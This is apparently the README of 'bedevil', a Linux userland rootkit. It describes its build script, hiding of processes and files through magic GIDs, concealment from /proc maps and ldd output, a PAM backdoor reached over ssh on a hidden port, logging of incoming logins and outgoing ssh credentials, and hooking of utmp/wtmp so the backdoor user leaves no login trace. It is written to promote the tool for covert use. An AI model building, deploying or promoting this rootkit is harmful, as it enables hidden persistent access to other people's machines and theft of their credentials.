bedevil is designed to be more robust, faster and efficient than vlany.

Ultimately my core aim is to tidy up the project (previously vlany), fix outstanding issues and organise previous chaos into a more manageable system. This makes it heaps easier on me when it comes to managing the rootkit.
I also made an effort to minimalise the amount of dependencies required to install the kit on a machine.

• std_includes: list of standard headers to include for the shared library
  
• symbol_includes: list of custom headers to include
  
• char_arrays: a list of char arrays to write, along with their respective array elements
  
• stconsts: 'static' background consts that the user doesn't really need to see
  
• prehook.c: a file containing the constructor and destructor code for the shared library

$ ./bedevil.sh -h

   ___                    ___                             ___  
  (   )                  (   )                      .-.  (   ) 
   | |.-.     .--.     .-.| |    .--.    ___  ___  ( __)  | |  
   | /   \   /    \   /   \ |   /    \  (   )(   ) (''")  | |  
   |  .-. | |  .-. ; |  .-. |  |  .-. ;  | |  | |   | |   | |  
   | |  | | |  | | | | |  | |  |  | | |  | |  | |   | |   | |  
   | |  | | |  |/  | | |  | |  |  |/  |  | |  | |   | |   | |  
   | |  | | |  ' _.' | |  | |  |  ' _.'  | |  | |   | |   | |  
   | '  | | |  .'.-. | '  | |  |  .'.-.  ' '  ; '   | |   | |  
   ' `-' ;  '  `-' / ' `-'  /  '  `-' /   \ `' /    | |   | |  
    `.__.    `.__.'   `.__,'    `.__.'     '_.'    (___) (___) 
                                                             
                                                             
Usage: ./bedevil.sh [ -h | -v | -d | -b | -c | -C | -D | -i]
        -h: Show this help message and exit.
        -v: Toggle verbose output.
        -d: Populate rootkit headers with user data.
        -b: Make bdvl.c.
        -c: Compile rootkit library in current directory and exit.
        -C: Clean up installation/compilation mess and exit.
        -D: Install all potential required dependencies.
        -i: Launch full installation of bedevil. You will be
            prompted for input when needed.

Processes and files are hidden using magic GIDs. Although the magic GID method is somewhat
deprecated, it remains the fastest and the most simple. Not that it's bad, but people are highly
aware of it now.

bedevil hides itself from any process map files. Reading /proc/$$/maps, /proc/$$/smaps, or /proc/$$/numa_maps when the kit is installed will make it seem apparent that there are no other potentially malicious libraries being loaded into userspace.

Calling ldd on any dynamic binaries will not immediately reveal the location of the rootkit's shared library. Calling ldd as a regular user will throw a read/write error, and calling ldd as root user will grant us sufficient permissions to quickly uninstall and reinstall the rootkit after showing a 'clean' ldd output to the root user. Further fogging the location of the rootkit's library.

bedevil logs successful authentication attempts on the box it is installed on, but also will now log all outgoing ssh credentials. Successful authentications on the box are logged in your hidden directory, and logged outgoing ssh credentials are available in your hidden directory.

bedevil uses libpam as a backdoor surface to allow secure access over ssh.

During installation you will supply your own choice of credentials that will allow you access to this backdoor.
See etc/ssh.sh on connecting with your hidden port.
Upon connecting to the backdoor, you'll be shown more information that may prove useful. (this)

By hooking all of the responsible utmp & wtmp symbols, the backdoor user is more or less a phantom on any machine it's installed on. I say more or less because there is (as far as I know) at least one easy indication that the backdoor is present. However this only happens when the backdoor user is still logged in.

This comment block explains more:

/*
 * These are the functions responsible for actually
 * writing data to the utmp & wtmp files.
 *
 * Now, I've prevented information from being written
 * to the wtmp file, but not the utmp file.
 * So calling strings on wtmp won't reveal anything,
 * but calling strings on utmp will show information.
 * But that's ONLY when using strings.
 *
 * See, there are functions in libc which handle
 * fetching entries from utmp, and it is those functions
 * that I have hooked.
 *
 * Essentially, I can't stop (well I can but not now)
 * information from being written to utmp, but I can prevent
 * said functions from even thinking that the information
 * is even there in the first place.
 *
 * utmp only stores information about the user's logged
 * in currently. Whereas wtmp is essentially a history of logins.
 * So this isn't even an issue unless you're logged into the
 * backdoor 24/7.
 */

• while true; do ldd /bin/echo; done :<